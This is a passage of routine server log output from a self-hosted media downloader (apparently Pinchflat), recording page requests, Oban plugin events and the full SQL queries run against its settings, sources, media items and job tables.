(NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 00:12:37.692 [info] Sent 200 in 34ms 00:12:52.755 [info] {"source":"oban","duration":2968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.897 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:18.220 [info] GET /app_info 00:13:18.220 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 00:13:18.221 [debug] QUERY OK source="settings" db=0.2ms idle=1570.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:18.221 [debug] QUERY OK source="settings" db=0.1ms idle=1571.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:18.222 [debug] QUERY OK source="settings" db=0.1ms idle=707.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:18.222 [debug] QUERY OK source="settings" db=0.1ms idle=566.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:18.223 [debug] QUERY OK source="settings" db=0.1ms idle=566.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:18.223 [info] Sent 200 in 3ms 00:13:22.757 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:52.761 [info] {"source":"oban","duration":2810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.898 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:12.234 [info] GET /sources/2/media/13708 00:14:12.235 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13708", "source_id" => "2"} Pipelines: [:browser] 00:14:12.237 [debug] QUERY OK source="media_items" db=0.8ms queue=0.5ms idle=1440.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13708] 00:14:12.240 [debug] QUERY OK source="sources" db=0.8ms idle=442.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:14:12.242 [debug] QUERY OK source="tasks" db=3.0ms queue=0.1ms idle=1430.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13708] 00:14:12.243 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=445.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2317] 00:14:12.244 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=429.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:12.245 [debug] QUERY OK source="settings" db=0.3ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:12.246 [debug] QUERY OK source="settings" db=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:12.248 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:14:12.254 [info] Sent 200 in 20ms 00:14:22.769 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:33.297 [info] GET /media_profiles 00:14:33.297 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 00:14:33.297 [info] GET /sources/6/media/13821 00:14:33.298 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13821", "source_id" => "6"} Pipelines: [:browser] 00:14:33.300 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1476.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13821] 00:14:33.300 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.3ms idle=1475.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 00:14:33.301 [debug] QUERY OK source="tasks" db=0.7ms idle=1477.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13821] 00:14:33.301 [debug] QUERY OK source="sources" db=0.8ms idle=1394.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 00:14:33.302 [debug] QUERY OK source="settings" db=0.2ms queue=0.6ms idle=380.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.302 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=1.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2316] 00:14:33.302 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.302 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.303 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.303 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.304 [debug] QUERY OK source="settings" db=0.8ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.305 [info] Sent 200 in 7ms 00:14:33.306 [debug] QUERY OK source="media_profiles" db=1.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:14:33.308 [info] Sent 200 in 10ms 00:14:33.518 [info] GET / 00:14:33.518 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:14:33.519 [debug] QUERY OK source="settings" db=0.3ms idle=215.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.519 [debug] QUERY OK source="media_profiles" db=0.2ms idle=216.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:14:33.519 [debug] QUERY OK source="sources" db=0.1ms idle=216.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:14:33.521 [debug] QUERY OK source="media_items" db=1.6ms idle=215.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:14:33.522 [debug] QUERY OK source="media_items" db=0.5ms idle=215.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:14:33.522 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.522 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.523 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:14:33.524 [debug] QUERY OK source="tasks" db=0.2ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:14:33.524 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:14:33.525 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:14:33.526 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 00:14:33.529 [debug] QUERY OK source="media_items" db=1.8ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:14:33.530 [debug] QUERY OK source="media_items" db=0.9ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:14:33.531 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:14:33.532 [info] Sent 200 in 13ms 00:14:52.773 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.902 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:22.775 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:52.780 [info] {"source":"oban","duration":2714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.908 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:02.592 [info] GET /sources/7 00:16:02.593 [info] GET /sources/10/media/13812 00:16:02.593 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13812", "source_id" => "10"} Pipelines: [:browser] 00:16:02.594 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 00:16:02.595 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1297.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13812] 00:16:02.596 [debug] QUERY OK source="sources" db=1.7ms idle=523.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:16:02.597 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=525.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 00:16:02.597 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=298.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:16:02.598 [debug] QUERY OK source="tasks" db=2.1ms idle=525.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13812] 00:16:02.599 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2311] 00:16:02.601 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.601 [debug] QUERY OK source="tasks" db=3.5ms idle=2.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 00:16:02.601 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.602 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=3.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 00:16:02.603 [debug] QUERY OK source="settings" db=0.5ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.603 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT 